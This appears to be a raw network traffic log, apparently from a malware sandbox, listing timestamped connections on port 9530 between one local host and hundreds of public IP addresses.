May 16, 2024 16:38:53.007383108 CEST	9530	55095	61.79.123.192	192.168.2.23
May 16, 2024 16:38:53.007389069 CEST	55095	9530	192.168.2.23	170.26.44.12
May 16, 2024 16:38:53.007394075 CEST	55095	9530	192.168.2.23	173.112.38.27
May 16, 2024 16:38:53.007396936 CEST	55095	9530	192.168.2.23	152.2.103.153
May 16, 2024 16:38:53.007400990 CEST	9530	55095	65.19.178.124	192.168.2.23
May 16, 2024 16:38:53.007405043 CEST	55095	9530	192.168.2.23	82.127.67.182
May 16, 2024 16:38:53.007411003 CEST	9530	55095	197.37.100.73	192.168.2.23
May 16, 2024 16:38:53.007421017 CEST	9530	55095	44.31.181.102	192.168.2.23
May 16, 2024 16:38:53.007421017 CEST	55095	9530	192.168.2.23	61.79.123.192
May 16, 2024 16:38:53.007424116 CEST	9530	55095	117.134.203.221	192.168.2.23
May 16, 2024 16:38:53.007427931 CEST	9530	55095	12.27.203.99	192.168.2.23
May 16, 2024 16:38:53.007437944 CEST	9530	55095	123.224.168.149	192.168.2.23
May 16, 2024 16:38:53.007447004 CEST	9530	55095	97.82.155.87	192.168.2.23
May 16, 2024 16:38:53.007450104 CEST	55095	9530	192.168.2.23	197.37.100.73
May 16, 2024 16:38:53.007451057 CEST	55095	9530	192.168.2.23	65.19.178.124
May 16, 2024 16:38:53.007452965 CEST	55095	9530	192.168.2.23	12.27.203.99
May 16, 2024 16:38:53.007452965 CEST	9530	45318	12.159.71.123	192.168.2.23
May 16, 2024 16:38:53.007467031 CEST	55095	9530	192.168.2.23	44.31.181.102
May 16, 2024 16:38:53.007488012 CEST	55095	9530	192.168.2.23	117.134.203.221
May 16, 2024 16:38:53.007498980 CEST	45318	9530	192.168.2.23	12.159.71.123
May 16, 2024 16:38:53.007503033 CEST	55095	9530	192.168.2.23	123.224.168.149
May 16, 2024 16:38:53.007570028 CEST	45318	9530	192.168.2.23	12.159.71.123
May 16, 2024 16:38:53.007570028 CEST	55095	9530	192.168.2.23	97.82.155.87
May 16, 2024 16:38:53.007584095 CEST	55095	9530	192.168.2.23	76.182.181.134
May 16, 2024 16:38:53.007586956 CEST	55095	9530	192.168.2.23	77.216.136.42
May 16, 2024 16:38:53.007601976 CEST	55095	9530	192.168.2.23	104.24.197.157
May 16, 2024 16:38:53.007606030 CEST	55095	9530	192.168.2.23	154.74.106.11
May 16, 2024 16:38:53.007606983 CEST	55095	9530	192.168.2.23	187.160.197.177
May 16, 2024 16:38:53.007612944 CEST	55095	9530	192.168.2.23	107.101.147.86
May 16, 2024 16:38:53.007615089 CEST	55095	9530	192.168.2.23	119.118.197.99
May 16, 2024 16:38:53.007621050 CEST	55095	9530	192.168.2.23	177.70.2.167
May 16, 2024 16:38:53.007630110 CEST	55095	9530	192.168.2.23	213.207.123.133
May 16, 2024 16:38:53.007631063 CEST	55095	9530	192.168.2.23	180.73.143.215
May 16, 2024 16:38:53.007631063 CEST	55095	9530	192.168.2.23	145.117.17.188
May 16, 2024 16:38:53.007632017 CEST	55095	9530	192.168.2.23	77.141.168.175
May 16, 2024 16:38:53.007637978 CEST	55095	9530	192.168.2.23	85.63.142.107
May 16, 2024 16:38:53.007654905 CEST	55095	9530	192.168.2.23	126.28.129.202
May 16, 2024 16:38:53.007661104 CEST	55095	9530	192.168.2.23	73.16.223.166
May 16, 2024 16:38:53.007662058 CEST	55095	9530	192.168.2.23	74.6.48.162
May 16, 2024 16:38:53.007663965 CEST	55095	9530	192.168.2.23	109.24.40.63
May 16, 2024 16:38:53.007668018 CEST	55095	9530	192.168.2.23	138.173.90.101
May 16, 2024 16:38:53.007668972 CEST	55095	9530	192.168.2.23	115.205.170.212
May 16, 2024 16:38:53.007672071 CEST	55095	9530	192.168.2.23	121.184.45.108
May 16, 2024 16:38:53.007683992 CEST	55095	9530	192.168.2.23	153.138.55.64
May 16, 2024 16:38:53.007687092 CEST	55095	9530	192.168.2.23	159.156.182.96
May 16, 2024 16:38:53.007687092 CEST	55095	9530	192.168.2.23	115.184.179.212
May 16, 2024 16:38:53.007687092 CEST	55095	9530	192.168.2.23	151.220.3.222
May 16, 2024 16:38:53.007688999 CEST	55095	9530	192.168.2.23	65.204.76.147
May 16, 2024 16:38:53.007688999 CEST	55095	9530	192.168.2.23	82.6.198.131
May 16, 2024 16:38:53.007694960 CEST	55095	9530	192.168.2.23	124.221.72.80
May 16, 2024 16:38:53.007694960 CEST	55095	9530	192.168.2.23	134.130.27.181
May 16, 2024 16:38:53.007699966 CEST	55095	9530	192.168.2.23	133.192.129.220
May 16, 2024 16:38:53.007700920 CEST	55095	9530	192.168.2.23	74.228.244.21
May 16, 2024 16:38:53.007699966 CEST	55095	9530	192.168.2.23	192.171.195.61
May 16, 2024 16:38:53.007709980 CEST	55095	9530	192.168.2.23	171.101.72.26
May 16, 2024 16:38:53.007709980 CEST	55095	9530	192.168.2.23	106.130.95.47
May 16, 2024 16:38:53.007730007 CEST	55095	9530	192.168.2.23	81.96.111.5
May 16, 2024 16:38:53.007735014 CEST	55095	9530	192.168.2.23	151.208.242.223
May 16, 2024 16:38:53.007752895 CEST	55095	9530	192.168.2.23	27.156.143.44
May 16, 2024 16:38:53.007752895 CEST	55095	9530	192.168.2.23	200.96.160.22
May 16, 2024 16:38:53.007754087 CEST	55095	9530	192.168.2.23	115.237.11.104
May 16, 2024 16:38:53.007759094 CEST	55095	9530	192.168.2.23	25.209.166.79
May 16, 2024 16:38:53.007767916 CEST	55095	9530	192.168.2.23	51.167.175.207
May 16, 2024 16:38:53.007767916 CEST	55095	9530	192.168.2.23	125.156.73.223
May 16, 2024 16:38:53.007767916 CEST	55095	9530	192.168.2.23	143.255.159.107
May 16, 2024 16:38:53.007776022 CEST	55095	9530	192.168.2.23	192.163.58.78
May 16, 2024 16:38:53.007776022 CEST	55095	9530	192.168.2.23	91.63.142.131
May 16, 2024 16:38:53.007776976 CEST	55095	9530	192.168.2.23	91.179.112.51
May 16, 2024 16:38:53.007776976 CEST	55095	9530	192.168.2.23	57.107.129.204
May 16, 2024 16:38:53.007776976 CEST	55095	9530	192.168.2.23	104.35.154.170
May 16, 2024 16:38:53.007795095 CEST	55095	9530	192.168.2.23	74.98.182.233
May 16, 2024 16:38:53.007796049 CEST	55095	9530	192.168.2.23	25.120.57.173
May 16, 2024 16:38:53.007791042 CEST	55095	9530	192.168.2.23	149.65.85.169
May 16, 2024 16:38:53.007791042 CEST	55095	9530	192.168.2.23	74.234.219.65
May 16, 2024 16:38:53.007797003 CEST	55095	9530	192.168.2.23	47.105.196.6
May 16, 2024 16:38:53.007808924 CEST	55095	9530	192.168.2.23	58.224.123.100
May 16, 2024 16:38:53.007808924 CEST	55095	9530	192.168.2.23	85.0.153.214
May 16, 2024 16:38:53.007812977 CEST	55095	9530	192.168.2.23	200.195.173.197
May 16, 2024 16:38:53.007808924 CEST	55095	9530	192.168.2.23	195.218.248.236
May 16, 2024 16:38:53.007812023 CEST	55095	9530	192.168.2.23	105.52.114.50
May 16, 2024 16:38:53.007810116 CEST	55095	9530	192.168.2.23	193.86.46.2
May 16, 2024 16:38:53.007810116 CEST	55095	9530	192.168.2.23	153.7.118.191
May 16, 2024 16:38:53.007819891 CEST	55095	9530	192.168.2.23	163.166.134.61
May 16, 2024 16:38:53.007831097 CEST	55095	9530	192.168.2.23	130.159.200.138
May 16, 2024 16:38:53.007831097 CEST	55095	9530	192.168.2.23	157.21.223.184
May 16, 2024 16:38:53.007847071 CEST	9530	50176	95.38.251.201	192.168.2.23
May 16, 2024 16:38:53.007848978 CEST	55095	9530	192.168.2.23	144.181.190.18
May 16, 2024 16:38:53.007848978 CEST	55095	9530	192.168.2.23	51.185.137.129
May 16, 2024 16:38:53.007850885 CEST	55095	9530	192.168.2.23	210.30.21.149
May 16, 2024 16:38:53.007850885 CEST	55095	9530	192.168.2.23	1.108.187.105
May 16, 2024 16:38:53.007853031 CEST	55095	9530	192.168.2.23	220.248.106.244
May 16, 2024 16:38:53.007853031 CEST	55095	9530	192.168.2.23	167.158.143.157
May 16, 2024 16:38:53.007853031 CEST	55095	9530	192.168.2.23	25.175.196.19
May 16, 2024 16:38:53.007857084 CEST	55095	9530	192.168.2.23	45.201.199.113
May 16, 2024 16:38:53.007857084 CEST	55095	9530	192.168.2.23	36.221.3.158
May 16, 2024 16:38:53.007859945 CEST	9530	43400	184.239.3.224	192.168.2.23
May 16, 2024 16:38:53.007868052 CEST	55095	9530	192.168.2.23	62.55.216.187
May 16, 2024 16:38:53.007872105 CEST	55095	9530	192.168.2.23	128.247.20.62
May 16, 2024 16:38:53.007878065 CEST	9530	52366	182.196.102.135	192.168.2.23
May 16, 2024 16:38:53.007883072 CEST	9530	40424	146.194.218.108	192.168.2.23
May 16, 2024 16:38:53.007884979 CEST	9530	44184	200.180.209.59	192.168.2.23
May 16, 2024 16:38:53.007886887 CEST	9530	50732	181.184.115.140	192.168.2.23
May 16, 2024 16:38:53.007889032 CEST	55095	9530	192.168.2.23	209.27.31.74
May 16, 2024 16:38:53.007889032 CEST	9530	48970	78.142.95.35	192.168.2.23
May 16, 2024 16:38:53.007889986 CEST	55095	9530	192.168.2.23	196.183.44.68
May 16, 2024 16:38:53.007891893 CEST	55095	9530	192.168.2.23	193.161.182.233
May 16, 2024 16:38:53.007891893 CEST	55095	9530	192.168.2.23	170.232.151.104
May 16, 2024 16:38:53.007900000 CEST	9530	48230	218.32.8.212	192.168.2.23
May 16, 2024 16:38:53.007910013 CEST	9530	40886	66.21.52.212	192.168.2.23
May 16, 2024 16:38:53.007911921 CEST	55095	9530	192.168.2.23	151.17.104.28
May 16, 2024 16:38:53.007911921 CEST	55095	9530	192.168.2.23	32.17.173.51
May 16, 2024 16:38:53.007911921 CEST	55095	9530	192.168.2.23	195.124.53.229
May 16, 2024 16:38:53.007913113 CEST	55095	9530	192.168.2.23	156.149.1.96
May 16, 2024 16:38:53.007911921 CEST	55095	9530	192.168.2.23	138.127.97.31
May 16, 2024 16:38:53.007913113 CEST	43400	9530	192.168.2.23	184.239.3.224
May 16, 2024 16:38:53.007920027 CEST	9530	49294	52.10.247.21	192.168.2.23
May 16, 2024 16:38:53.007922888 CEST	52366	9530	192.168.2.23	182.196.102.135
May 16, 2024 16:38:53.007922888 CEST	44184	9530	192.168.2.23	200.180.209.59
May 16, 2024 16:38:53.007930040 CEST	9530	35506	216.113.15.237	192.168.2.23
May 16, 2024 16:38:53.007939100 CEST	55095	9530	192.168.2.23	1.137.46.78
May 16, 2024 16:38:53.007939100 CEST	55095	9530	192.168.2.23	222.88.85.2
May 16, 2024 16:38:53.007946014 CEST	55095	9530	192.168.2.23	81.70.177.10
May 16, 2024 16:38:53.007946014 CEST	55095	9530	192.168.2.23	97.148.16.168
May 16, 2024 16:38:53.007956982 CEST	9530	53626	80.140.161.132	192.168.2.23
May 16, 2024 16:38:53.007961035 CEST	48970	9530	192.168.2.23	78.142.95.35
May 16, 2024 16:38:53.007961035 CEST	40886	9530	192.168.2.23	66.21.52.212
May 16, 2024 16:38:53.007961988 CEST	9530	38580	58.37.245.134	192.168.2.23
May 16, 2024 16:38:53.007962942 CEST	50176	9530	192.168.2.23	95.38.251.201
May 16, 2024 16:38:53.007962942 CEST	48230	9530	192.168.2.23	218.32.8.212
May 16, 2024 16:38:53.007972002 CEST	40424	9530	192.168.2.23	146.194.218.108
May 16, 2024 16:38:53.007972956 CEST	9530	58256	138.149.45.163	192.168.2.23
May 16, 2024 16:38:53.007973909 CEST	50732	9530	192.168.2.23	181.184.115.140
May 16, 2024 16:38:53.007980108 CEST	9530	34522	128.6.151.74	192.168.2.23
May 16, 2024 16:38:53.007985115 CEST	49294	9530	192.168.2.23	52.10.247.21
May 16, 2024 16:38:53.007985115 CEST	35506	9530	192.168.2.23	216.113.15.237
May 16, 2024 16:38:53.007988930 CEST	9530	55572	196.207.6.187	192.168.2.23
May 16, 2024 16:38:53.007997036 CEST	9530	43748	138.91.249.106	192.168.2.23
May 16, 2024 16:38:53.007997990 CEST	53626	9530	192.168.2.23	80.140.161.132
May 16, 2024 16:38:53.007997990 CEST	38580	9530	192.168.2.23	58.37.245.134
May 16, 2024 16:38:53.008022070 CEST	55572	9530	192.168.2.23	196.207.6.187
May 16, 2024 16:38:53.008032084 CEST	55095	9530	192.168.2.23	167.150.204.80
May 16, 2024 16:38:53.008033991 CEST	43748	9530	192.168.2.23	138.91.249.106
May 16, 2024 16:38:53.008034945 CEST	58256	9530	192.168.2.23	138.149.45.163
May 16, 2024 16:38:53.008034945 CEST	34522	9530	192.168.2.23	128.6.151.74
May 16, 2024 16:38:53.008039951 CEST	55095	9530	192.168.2.23	211.209.10.40
May 16, 2024 16:38:53.008058071 CEST	55095	9530	192.168.2.23	97.137.191.169
May 16, 2024 16:38:53.008058071 CEST	55095	9530	192.168.2.23	52.206.159.63
May 16, 2024 16:38:53.008059978 CEST	55095	9530	192.168.2.23	91.119.60.189
May 16, 2024 16:38:53.008069992 CEST	55095	9530	192.168.2.23	192.117.171.5
May 16, 2024 16:38:53.008073092 CEST	55095	9530	192.168.2.23	211.55.144.95
May 16, 2024 16:38:53.008085012 CEST	55095	9530	192.168.2.23	130.179.7.69
May 16, 2024 16:38:53.008088112 CEST	55095	9530	192.168.2.23	161.166.65.53
May 16, 2024 16:38:53.008088112 CEST	55095	9530	192.168.2.23	157.173.73.96
May 16, 2024 16:38:53.008094072 CEST	55095	9530	192.168.2.23	9.35.2.74
May 16, 2024 16:38:53.008105993 CEST	55095	9530	192.168.2.23	204.77.160.116
May 16, 2024 16:38:53.008110046 CEST	55095	9530	192.168.2.23	8.134.72.219
May 16, 2024 16:38:53.008114100 CEST	55095	9530	192.168.2.23	132.0.138.173
May 16, 2024 16:38:53.008116007 CEST	55095	9530	192.168.2.23	132.132.0.19
May 16, 2024 16:38:53.008116007 CEST	55095	9530	192.168.2.23	5.1.15.25
May 16, 2024 16:38:53.008121014 CEST	55095	9530	192.168.2.23	175.18.100.187
May 16, 2024 16:38:53.008122921 CEST	55095	9530	192.168.2.23	191.152.73.209
May 16, 2024 16:38:53.008122921 CEST	55095	9530	192.168.2.23	123.61.2.19
May 16, 2024 16:38:53.008124113 CEST	55095	9530	192.168.2.23	139.58.189.212
May 16, 2024 16:38:53.008125067 CEST	55095	9530	192.168.2.23	111.241.199.115
May 16, 2024 16:38:53.008125067 CEST	55095	9530	192.168.2.23	131.187.70.123
May 16, 2024 16:38:53.008127928 CEST	55095	9530	192.168.2.23	135.3.71.89
May 16, 2024 16:38:53.008136034 CEST	55095	9530	192.168.2.23	103.229.93.70
May 16, 2024 16:38:53.008138895 CEST	55095	9530	192.168.2.23	84.205.161.158
May 16, 2024 16:38:53.008140087 CEST	55095	9530	192.168.2.23	137.95.8.127
May 16, 2024 16:38:53.008147955 CEST	55095	9530	192.168.2.23	122.221.40.42
May 16, 2024 16:38:53.008172989 CEST	55095	9530	192.168.2.23	4.140.160.120
May 16, 2024 16:38:53.008173943 CEST	55095	9530	192.168.2.23	207.196.74.210
May 16, 2024 16:38:53.008172989 CEST	55095	9530	192.168.2.23	138.227.24.50
May 16, 2024 16:38:53.008173943 CEST	55095	9530	192.168.2.23	222.117.169.224
May 16, 2024 16:38:53.008173943 CEST	55095	9530	192.168.2.23	216.112.20.8
May 16, 2024 16:38:53.008173943 CEST	55095	9530	192.168.2.23	140.175.247.158
May 16, 2024 16:38:53.008176088 CEST	55095	9530	192.168.2.23	191.9.169.144
May 16, 2024 16:38:53.008173943 CEST	55095	9530	192.168.2.23	138.54.226.232
May 16, 2024 16:38:53.008176088 CEST	55095	9530	192.168.2.23	113.149.229.82
May 16, 2024 16:38:53.008192062 CEST	55095	9530	192.168.2.23	69.149.127.208
May 16, 2024 16:38:53.008194923 CEST	55095	9530	192.168.2.23	188.199.92.93
May 16, 2024 16:38:53.008203030 CEST	55095	9530	192.168.2.23	41.111.202.174
May 16, 2024 16:38:53.008203030 CEST	55095	9530	192.168.2.23	133.237.196.169
May 16, 2024 16:38:53.008203030 CEST	55095	9530	192.168.2.23	118.105.3.44
May 16, 2024 16:38:53.008203030 CEST	55095	9530	192.168.2.23	53.239.24.181
May 16, 2024 16:38:53.008204937 CEST	55095	9530	192.168.2.23	101.90.173.178
May 16, 2024 16:38:53.008227110 CEST	55095	9530	192.168.2.23	201.135.97.142
May 16, 2024 16:38:53.008227110 CEST	55095	9530	192.168.2.23	53.79.24.206
May 16, 2024 16:38:53.008229017 CEST	55095	9530	192.168.2.23	73.136.192.69
May 16, 2024 16:38:53.008229017 CEST	55095	9530	192.168.2.23	125.86.139.153
May 16, 2024 16:38:53.008240938 CEST	55095	9530	192.168.2.23	185.83.183.55
May 16, 2024 16:38:53.008240938 CEST	55095	9530	192.168.2.23	131.172.184.52
May 16, 2024 16:38:53.008240938 CEST	55095	9530	192.168.2.23	54.59.221.200
May 16, 2024 16:38:53.008255005 CEST	55095	9530	192.168.2.23	139.181.167.20
May 16, 2024 16:38:53.008255005 CEST	55095	9530	192.168.2.23	134.149.213.145
May 16, 2024 16:38:53.008255005 CEST	55095	9530	192.168.2.23	111.188.110.51
May 16, 2024 16:38:53.008258104 CEST	55095	9530	192.168.2.23	63.137.182.65
May 16, 2024 16:38:53.008260012 CEST	55095	9530	192.168.2.23	88.231.21.13
May 16, 2024 16:38:53.008260012 CEST	55095	9530	192.168.2.23	117.249.47.152
May 16, 2024 16:38:53.008270025 CEST	55095	9530	192.168.2.23	161.243.167.144
May 16, 2024 16:38:53.008274078 CEST	55095	9530	192.168.2.23	76.9.144.86
May 16, 2024 16:38:53.008274078 CEST	55095	9530	192.168.2.23	106.191.219.131
May 16, 2024 16:38:53.008275986 CEST	55095	9530	192.168.2.23	62.244.237.104
May 16, 2024 16:38:53.008275986 CEST	55095	9530	192.168.2.23	18.11.253.231
May 16, 2024 16:38:53.008275986 CEST	55095	9530	192.168.2.23	159.235.22.216
May 16, 2024 16:38:53.008277893 CEST	55095	9530	192.168.2.23	73.150.152.178
May 16, 2024 16:38:53.008290052 CEST	55095	9530	192.168.2.23	208.38.114.144
May 16, 2024 16:38:53.008290052 CEST	55095	9530	192.168.2.23	96.239.175.149
May 16, 2024 16:38:53.008306980 CEST	55095	9530	192.168.2.23	216.45.106.54
May 16, 2024 16:38:53.008306980 CEST	55095	9530	192.168.2.23	100.238.192.202
May 16, 2024 16:38:53.008306980 CEST	55095	9530	192.168.2.23	112.63.114.109
May 16, 2024 16:38:53.008308887 CEST	55095	9530	192.168.2.23	222.216.167.74
May 16, 2024 16:38:53.008312941 CEST	55095	9530	192.168.2.23	144.102.57.102
May 16, 2024 16:38:53.008312941 CEST	55095	9530	192.168.2.23	218.62.88.248
May 16, 2024 16:38:53.008320093 CEST	55095	9530	192.168.2.23	139.149.172.54
May 16, 2024 16:38:53.008320093 CEST	55095	9530	192.168.2.23	160.153.180.10
May 16, 2024 16:38:53.008327961 CEST	55095	9530	192.168.2.23	4.114.169.224
May 16, 2024 16:38:53.008327961 CEST	55095	9530	192.168.2.23	73.167.248.248
May 16, 2024 16:38:53.008327961 CEST	55095	9530	192.168.2.23	25.82.87.68
May 16, 2024 16:38:53.008337021 CEST	55095	9530	192.168.2.23	190.61.81.210
May 16, 2024 16:38:53.008337021 CEST	55095	9530	192.168.2.23	14.210.149.33
May 16, 2024 16:38:53.008349895 CEST	55095	9530	192.168.2.23	37.224.165.165
May 16, 2024 16:38:53.008352995 CEST	55095	9530	192.168.2.23	217.8.128.78
May 16, 2024 16:38:53.008363008 CEST	55095	9530	192.168.2.23	72.124.35.244
May 16, 2024 16:38:53.008372068 CEST	55095	9530	192.168.2.23	54.22.181.233
May 16, 2024 16:38:53.008378029 CEST	55095	9530	192.168.2.23	164.108.140.13
May 16, 2024 16:38:53.008377075 CEST	55095	9530	192.168.2.23	86.161.202.28
May 16, 2024 16:38:53.008377075 CEST	55095	9530	192.168.2.23	49.213.139.253
May 16, 2024 16:38:53.008380890 CEST	55095	9530	192.168.2.23	157.106.155.170
May 16, 2024 16:38:53.008383989 CEST	55095	9530	192.168.2.23	34.227.21.59
May 16, 2024 16:38:53.008390903 CEST	9530	54316	5.74.252.139	192.168.2.23
May 16, 2024 16:38:53.008394003 CEST	55095	9530	192.168.2.23	161.126.103.19
May 16, 2024 16:38:53.008398056 CEST	55095	9530	192.168.2.23	132.178.216.54
May 16, 2024 16:38:53.008398056 CEST	55095	9530	192.168.2.23	178.189.108.166
May 16, 2024 16:38:53.008398056 CEST	55095	9530	192.168.2.23	198.35.136.252
May 16, 2024 16:38:53.008398056 CEST	55095	9530	192.168.2.23	77.99.14.125
May 16, 2024 16:38:53.008398056 CEST	55095	9530	192.168.2.23	124.251.94.51
May 16, 2024 16:38:53.008403063 CEST	9530	50094	32.242.248.65	192.168.2.23
May 16, 2024 16:38:53.008407116 CEST	55095	9530	192.168.2.23	180.156.142.77
May 16, 2024 16:38:53.008414030 CEST	55095	9530	192.168.2.23	89.72.157.149
May 16, 2024 16:38:53.008414984 CEST	9530	57778	218.32.68.1	192.168.2.23
May 16, 2024 16:38:53.008419037 CEST	55095	9530	192.168.2.23	135.240.243.43
May 16, 2024 16:38:53.008419037 CEST	55095	9530	192.168.2.23	207.128.66.13
May 16, 2024 16:38:53.008430004 CEST	54316	9530	192.168.2.23	5.74.252.139
May 16, 2024 16:38:53.008430004 CEST	55095	9530	192.168.2.23	47.113.39.27
May 16, 2024 16:38:53.008431911 CEST	9530	50868	181.16.206.159	192.168.2.23
May 16, 2024 16:38:53.008435011 CEST	55095	9530	192.168.2.23	222.105.151.88
May 16, 2024 16:38:53.008435011 CEST	55095	9530	192.168.2.23	113.243.161.142
May 16, 2024 16:38:53.008438110 CEST	55095	9530	192.168.2.23	19.76.9.42
May 16, 2024 16:38:53.008438110 CEST	55095	9530	192.168.2.23	185.153.201.145
May 16, 2024 16:38:53.008441925 CEST	9530	43384	213.127.75.137	192.168.2.23
May 16, 2024 16:38:53.008443117 CEST	50094	9530	192.168.2.23	32.242.248.65
May 16, 2024 16:38:53.008451939 CEST	57778	9530	192.168.2.23	218.32.68.1
May 16, 2024 16:38:53.008455038 CEST	9530	38554	117.108.108.214	192.168.2.23
May 16, 2024 16:38:53.008469105 CEST	43384	9530	192.168.2.23	213.127.75.137
May 16, 2024 16:38:53.008471012 CEST	9530	55730	148.82.13.159	192.168.2.23
May 16, 2024 16:38:53.008476973 CEST	9530	34482	129.213.137.67	192.168.2.23
May 16, 2024 16:38:53.008479118 CEST	9530	38030	201.156.81.71	192.168.2.23
May 16, 2024 16:38:53.008480072 CEST	9530	33226	1.50.192.120	192.168.2.23
May 16, 2024 16:38:53.008481979 CEST	9530	57182	218.166.150.2	192.168.2.23
May 16, 2024 16:38:53.008486032 CEST	9530	47492	177.166.97.226	192.168.2.23
May 16, 2024 16:38:53.008491039 CEST	55095	9530	192.168.2.23	142.210.206.134
May 16, 2024 16:38:53.008491039 CEST	55095	9530	192.168.2.23	185.192.206.99
May 16, 2024 16:38:53.008492947 CEST	50868	9530	192.168.2.23	181.16.206.159
May 16, 2024 16:38:53.008496046 CEST	9530	38490	142.247.137.69	192.168.2.23
May 16, 2024 16:38:53.008505106 CEST	9530	54822	193.250.95.85	192.168.2.23
May 16, 2024 16:38:53.008512020 CEST	38554	9530	192.168.2.23	117.108.108.214
May 16, 2024 16:38:53.008513927 CEST	9530	49008	139.89.122.31	192.168.2.23
May 16, 2024 16:38:53.008516073 CEST	55095	9530	192.168.2.23	5.236.45.112
May 16, 2024 16:38:53.008516073 CEST	55095	9530	192.168.2.23	83.229.21.98
May 16, 2024 16:38:53.008517981 CEST	57182	9530	192.168.2.23	218.166.150.2
May 16, 2024 16:38:53.008519888 CEST	47492	9530	192.168.2.23	177.166.97.226
May 16, 2024 16:38:53.008528948 CEST	34482	9530	192.168.2.23	129.213.137.67
May 16, 2024 16:38:53.008533001 CEST	55730	9530	192.168.2.23	148.82.13.159
May 16, 2024 16:38:53.008536100 CEST	9530	57766	91.32.33.30	192.168.2.23
May 16, 2024 16:38:53.008544922 CEST	38030	9530	192.168.2.23	201.156.81.71
May 16, 2024 16:38:53.008544922 CEST	33226	9530	192.168.2.23	1.50.192.120
May 16, 2024 16:38:53.008548021 CEST	38490	9530	192.168.2.23	142.247.137.69
May 16, 2024 16:38:53.008565903 CEST	9530	44452	217.7.102.196	192.168.2.23
May 16, 2024 16:38:53.008569956 CEST	49008	9530	192.168.2.23	139.89.122.31
May 16, 2024 16:38:53.008567095 CEST	54822	9530	192.168.2.23	193.250.95.85
May 16, 2024 16:38:53.008583069 CEST	9530	54464	126.86.145.38	192.168.2.23
May 16, 2024 16:38:53.008584023 CEST	57766	9530	192.168.2.23	91.32.33.30
May 16, 2024 16:38:53.008584023 CEST	55095	9530	192.168.2.23	54.226.5.11
May 16, 2024 16:38:53.008584976 CEST	9530	53290	108.223.179.43	192.168.2.23
May 16, 2024 16:38:53.008589029 CEST	9530	56704	34.2.32.188	192.168.2.23
May 16, 2024 16:38:53.008589029 CEST	55095	9530	192.168.2.23	12.139.207.15
May 16, 2024 16:38:53.008590937 CEST	9530	42624	90.24.157.74	192.168.2.23
May 16, 2024 16:38:53.008599043 CEST	44452	9530	192.168.2.23	217.7.102.196
May 16, 2024 16:38:53.008601904 CEST	9530	42264	191.40.212.132	192.168.2.23
May 16, 2024 16:38:53.008613110 CEST	9530	58840	135.173.96.126	192.168.2.23
May 16, 2024 16:38:53.008615017 CEST	55095	9530	192.168.2.23	77.56.251.53
May 16, 2024 16:38:53.008619070 CEST	55095	9530	192.168.2.23	197.178.128.176
May 16, 2024 16:38:53.008619070 CEST	9530	48800	110.120.106.12	192.168.2.23
May 16, 2024 16:38:53.008620024 CEST	55095	9530	192.168.2.23	77.87.86.3
May 16, 2024 16:38:53.008620977 CEST	54464	9530	192.168.2.23	126.86.145.38
May 16, 2024 16:38:53.008620024 CEST	55095	9530	192.168.2.23	182.83.86.82
May 16, 2024 16:38:53.008619070 CEST	55095	9530	192.168.2.23	128.40.91.31
May 16, 2024 16:38:53.008641958 CEST	56704	9530	192.168.2.23	34.2.32.188
May 16, 2024 16:38:53.008642912 CEST	58840	9530	192.168.2.23	135.173.96.126
May 16, 2024 16:38:53.008651018 CEST	42624	9530	192.168.2.23	90.24.157.74
May 16, 2024 16:38:53.008666992 CEST	53290	9530	192.168.2.23	108.223.179.43
May 16, 2024 16:38:53.008666992 CEST	42264	9530	192.168.2.23	191.40.212.132
May 16, 2024 16:38:53.008666992 CEST	48800	9530	192.168.2.23	110.120.106.12
May 16, 2024 16:38:53.008676052 CEST	55095	9530	192.168.2.23	59.150.76.250
May 16, 2024 16:38:53.008676052 CEST	55095	9530	192.168.2.23	92.195.22.0
May 16, 2024 16:38:53.008677006 CEST	55095	9530	192.168.2.23	19.214.238.216
May 16, 2024 16:38:53.008687973 CEST	55095	9530	192.168.2.23	174.32.180.80
May 16, 2024 16:38:53.008692026 CEST	55095	9530	192.168.2.23	146.212.60.117
May 16, 2024 16:38:53.008693933 CEST	55095	9530	192.168.2.23	49.172.219.221
May 16, 2024 16:38:53.008698940 CEST	55095	9530	192.168.2.23	162.3.227.191
May 16, 2024 16:38:53.008712053 CEST	55095	9530	192.168.2.23	169.120.176.213
May 16, 2024 16:38:53.008716106 CEST	55095	9530	192.168.2.23	77.176.220.182
May 16, 2024 16:38:53.008716106 CEST	55095	9530	192.168.2.23	65.38.243.142
May 16, 2024 16:38:53.008723021 CEST	55095	9530	192.168.2.23	201.79.134.228
May 16, 2024 16:38:53.008723021 CEST	55095	9530	192.168.2.23	149.0.72.86
May 16, 2024 16:38:53.008727074 CEST	55095	9530	192.168.2.23	182.207.51.1
May 16, 2024 16:38:53.008755922 CEST	55095	9530	192.168.2.23	90.247.84.244
May 16, 2024 16:38:53.008757114 CEST	55095	9530	192.168.2.23	47.60.53.127
May 16, 2024 16:38:53.008757114 CEST	55095	9530	192.168.2.23	198.12.75.239
May 16, 2024 16:38:53.008757114 CEST	55095	9530	192.168.2.23	38.112.126.82
May 16, 2024 16:38:53.008757114 CEST	55095	9530	192.168.2.23	212.11.118.65
May 16, 2024 16:38:53.008757114 CEST	55095	9530	192.168.2.23	189.220.124.49
May 16, 2024 16:38:53.008757114 CEST	55095	9530	192.168.2.23	211.142.97.153
May 16, 2024 16:38:53.008764029 CEST	55095	9530	192.168.2.23	207.153.247.89
May 16, 2024 16:38:53.008774996 CEST	55095	9530	192.168.2.23	118.119.205.54
May 16, 2024 16:38:53.008774996 CEST	55095	9530	192.168.2.23	162.48.181.139
May 16, 2024 16:38:53.008780003 CEST	55095	9530	192.168.2.23	36.10.186.190
May 16, 2024 16:38:53.008784056 CEST	55095	9530	192.168.2.23	132.14.51.191
May 16, 2024 16:38:53.008786917 CEST	55095	9530	192.168.2.23	142.233.90.196
May 16, 2024 16:38:53.008790970 CEST	55095	9530	192.168.2.23	109.133.213.76
May 16, 2024 16:38:53.008796930 CEST	55095	9530	192.168.2.23	186.176.207.168
May 16, 2024 16:38:53.008796930 CEST	55095	9530	192.168.2.23	212.79.123.221
May 16, 2024 16:38:53.008796930 CEST	55095	9530	192.168.2.23	188.1.130.208
May 16, 2024 16:38:53.008809090 CEST	55095	9530	192.168.2.23	97.143.39.49
May 16, 2024 16:38:53.008809090 CEST	55095	9530	192.168.2.23	63.86.226.251
May 16, 2024 16:38:53.008810043 CEST	55095	9530	192.168.2.23	73.56.225.39
May 16, 2024 16:38:53.008810043 CEST	55095	9530	192.168.2.23	163.86.67.45
May 16, 2024 16:38:53.008825064 CEST	55095	9530	192.168.2.23	69.9.7.179
May 16, 2024 16:38:53.008831024 CEST	55095	9530	192.168.2.23	110.28.186.7
